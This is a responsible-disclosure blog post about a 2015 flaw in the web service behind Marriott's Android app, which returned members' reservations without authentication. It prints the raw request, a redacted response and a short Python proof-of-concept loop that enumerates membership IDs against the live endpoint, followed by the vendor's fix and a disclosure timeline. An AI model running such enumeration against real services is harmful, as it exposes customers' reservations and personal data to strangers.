Marriott Hotel Reservations and Payment Information Compromised by Web Service Vulnerability

Marriott has been been in the news lately regarding its stance on blocking customer WiFi communications in their conference centers. As a customer of Marriott, I questioned how well they “blocked” access to my sensitive information in their system. Being that the security of web services is notoriously neglected, I figured their Marriott International Android app would be a good place to start.

After starting up the app and logging in to my Marriott Rewards account, I was brought to a screen that showed my upcoming reservations (I didn’t have any).

The request to fetch the reservations was very interesting. Note the lack of any Cookie or Authorization header.

POST https://m.marriott.com/middleware/MWServlet HTTP/1.1
Host: m.marriott.com
Content-Length: 171
Accept-Encoding: gzip, deflate, compress
Accept: */*

platform=android&appID=mrt&appver=3.3.0&indicator=true&locale=en&MembershipID=***REMOVED***&rcid=SCH-I545&channel=rc&serviceID=Search&cacheid=&platformver=5.0.GA_v201305312050

Marriott was fetching upcoming reservations with a completely unauthenticated request to their web service, meaning one could query the reservations of any rewards member by simply specifying the Membership ID (rewards number). It appeared concerning enough, but I wondered how serious the impact was to customers. With permission, exploring the upcoming reservations of a friend revealed what a valid response looked like:

{
    "HotelReservation": [
        {
            "HotelName": "***REMOVED***",
            "ExpireDate": "2015-11-02",
            "isCheckinBeforeToday": "false",
            "HotelCode": "***REMOVED***",
            "checkInDateLongFormat": "***REMOVED***",
            "ResID_Type": "1",
            "EffectiveDate": "2015-11-01",
            "HotelReservationID": "***REMOVED***",
            "LastName": "SMITH"
        }
    ],
    "httpStatusCode": 200,
    "opstatus": 0
}

There’s a lot of sensitive information there. What’s worse is that in order to completely manage a reservation on Marriott’s website, one only needs the reservation number along with the last name of the customer. As seen above, both of these fields are returned in the response.

Logging in to manage the reservation, one could cancel the entire reservation.

The customer’s contact and payment information was available on another screen, though only the last four digits of the credit card number was shown.

Obviously, this was a very serious vulnerability. Below is a proof-of-concept exploit I wrote in order to demonstrate the issue to Marriott’s technical team.

import requests

url = "https://m.marriott.com/middleware/MWServlet"
mid = 584227105

while 1:
    payload = "platform=android&appID=mrt&appver=3.3.0&indicator=true&locale=en&MembershipID=%d&rcid" \
        "=SCH-I545&channel=rc&serviceID=Search&cacheid=&platformver=5.0.GA_v201305312050" % mid

    r = requests.post(url, data=payload)

    if "errorCodeSet" not in r.json():
        print "Membership ID: %d" %mid
        print r.text
        quit()

    mid -= 1

It was difficult to get in contact with the right person at Marriott. I attempted the best practice email format for security issues ([email protected]), but the mailbox didn’t exist. After over a month of trying Twitter and some LinkedIn contacts, I finally got in touch with the someone in information security. I was extremely impressed with Marriott’s response; their team immediately took the report seriously and ended up resolving the vulnerability in about one day. See the timeline below.

Disclosure Timeline

2015-01-20: Point of contact made
2015-01-20: Report of issue w/ POC
2015-01-20: Confirmed receipt and investigation begins
2015-01-21: Follow-up email received, fix pushed
2015-01-21: Resolution confirmed

Marriott communicated their appreciation to me for notifying them of the vulnerability.

Share this: Facebooktwitterlinkedin